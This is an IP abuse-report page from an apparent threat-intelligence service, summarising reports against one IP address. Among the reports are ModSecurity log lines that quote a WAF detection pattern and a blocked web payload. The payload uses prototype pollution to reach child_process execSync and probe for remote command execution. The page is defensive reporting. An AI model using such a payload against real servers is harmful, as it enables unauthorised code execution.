Log in to view charts and search reports for this IP.
Log In
Reports Activity
Example preview
Report Categories (Last 60 Days)
Example preview
Top Reporter Countries (Last 60 Days)
Example preview
Account required for the enhanced features
Log inSign up
IP Abuse Reports for 136.85.95.52
This IP address has been reported a total of
10
times from
8 distinct
sources.
136.85.95.52 was first reported on
, and the most recent report was
.
In the last 60 days, the top reporter locations were:
Germany
with 4
reports;
Netherlands
with 2
reports;
Brazil
with 1
report.
The most common categories in these recent reports were:
Web App Attack
8
times;
Brute-Force
6
times;
Port Scan
2
times;
Bad Web Bot
2
times.
Recent Reports
We have received reports of abusive activity from this IP address within the last week. It is
potentially still actively engaged in abusive activities.
[TueSep2218:29:13.4539712026][security2:error][pid994059:tid994096][client136.85.95.52:0]ModSecurity ...
show more[TueSep2218:29:13.4539712026][security2:error][pid994059:tid994096][client136.85.95.52:0]ModSecurity:Accessdeniedwithcode403\(phase2\).Patternmatch\"\(\?:\\\\\\\\\$\(\?:\\\\\\\\\(\(\?:\\\\\\\\\(.\*\\\\\\\\\)\|.\*\)\\\\\\\\\)\|\\\\\\\\{.\*\\\\\\\\}\)\|[\<\>]\\\\\\\\\(.\*\\\\\\\\\)\)\"atARGS:0.[file\"/etc/apache2/conf.d/modsec_rules/10_asl_rules.conf\"][line\"396\"][id\"393655\"][rev\"17\"][msg\"Atomicorp.comWAFRules:PossibleRemoteCommandExecution:UnixShellExpressionFound\"][data\"MatchedData:\$\(\(41\*271\)\)foundwithinARGS:0:{then:\$1:__proto__:thenstatus:resolved_modelreason:-1value:{then:\$b1337}_response:{_prefix:varres=process.mainmodule.require\(child_process\).execsync\(echo\$\(\(41\*271\)\)\|base64-w0\).tostring\(\).trim\(\)throwobject.assign\(newerror\(next_redirect\){digest:\`next_redirectpush/login\?a=\${res}307\`}\)_chunks:\$q2_formdata:{get:\$1:constructor:constructor}}}\"][tag\"attack-rce\"][hostname\"autoconfig.dgtime.ch\"][uri\"/\"][unique_id\"arKs2SpEnIIGI6uke1Y_DQAAABY\"]
show less
threat-feed-sync observed repeated abuse from this IP after local filtering. scenarios=crowdsecurity ...
show morethreat-feed-sync observed repeated abuse from this IP after local filtering. scenarios=crowdsecurity/appsec-vpatch,crowdsecurity/vpatch-env-access,crowdsecurity/vpatch-git-config observed_by=1_hosts hit_count=3 first_seen=2026-09-22T11:26:48Z last_seen=2026-09-22T11:26:48Z
show less
[MonSep2115:37:40.0311782026][security2:error][pid3547794:tid3547853][client136.85.95.52:0]ModSecuri ...
show more[MonSep2115:37:40.0311782026][security2:error][pid3547794:tid3547853][client136.85.95.52:0]ModSecurity:Accessdeniedwithcode403\(phase2\).Patternmatch\"\(\?:\\\\\\\\\$\(\?:\\\\\\\\\(\(\?:\\\\\\\\\(.\*\\\\\\\\\)\|.\*\)\\\\\\\\\)\|\\\\\\\\{.\*\\\\\\\\}\)\|[\<\>]\\\\\\\\\(.\*\\\\\\\\\)\)\"atARGS:0.[file\"/etc/apache2/conf.d/modsec_rules/10_asl_rules.conf\"][line\"396\"][id\"393655\"][rev\"17\"][msg\"Atomicorp.comWAFRules:PossibleRemoteCommandExecution:UnixShellExpressionFound\"][data\"MatchedData:\$\(\(41\*271\)\)foundwithinARGS:0:{then:\$1:__proto__:thenstatus:resolved_modelreason:-1value:{then:\$b1337}_response:{_prefix:varres=process.mainmodule.require\(child_process\).execsync\(echo\$\(\(41\*271\)\)\|base64-w0\).tostring\(\).trim\(\)throwobject.assign\(newerror\(next_redirect\){digest:\`next_redirectpush/login\?a=\${res}307\`}\)_chunks:\$q2_formdata:{get:\$1:constructor:constructor}}}\"][tag\"attack-rce\"][hostname\"asw-sa.com\"][uri\"/\"][unique_id\"arEzJARglD-Mvhfbxl0zJQAAAE0\"]
show less
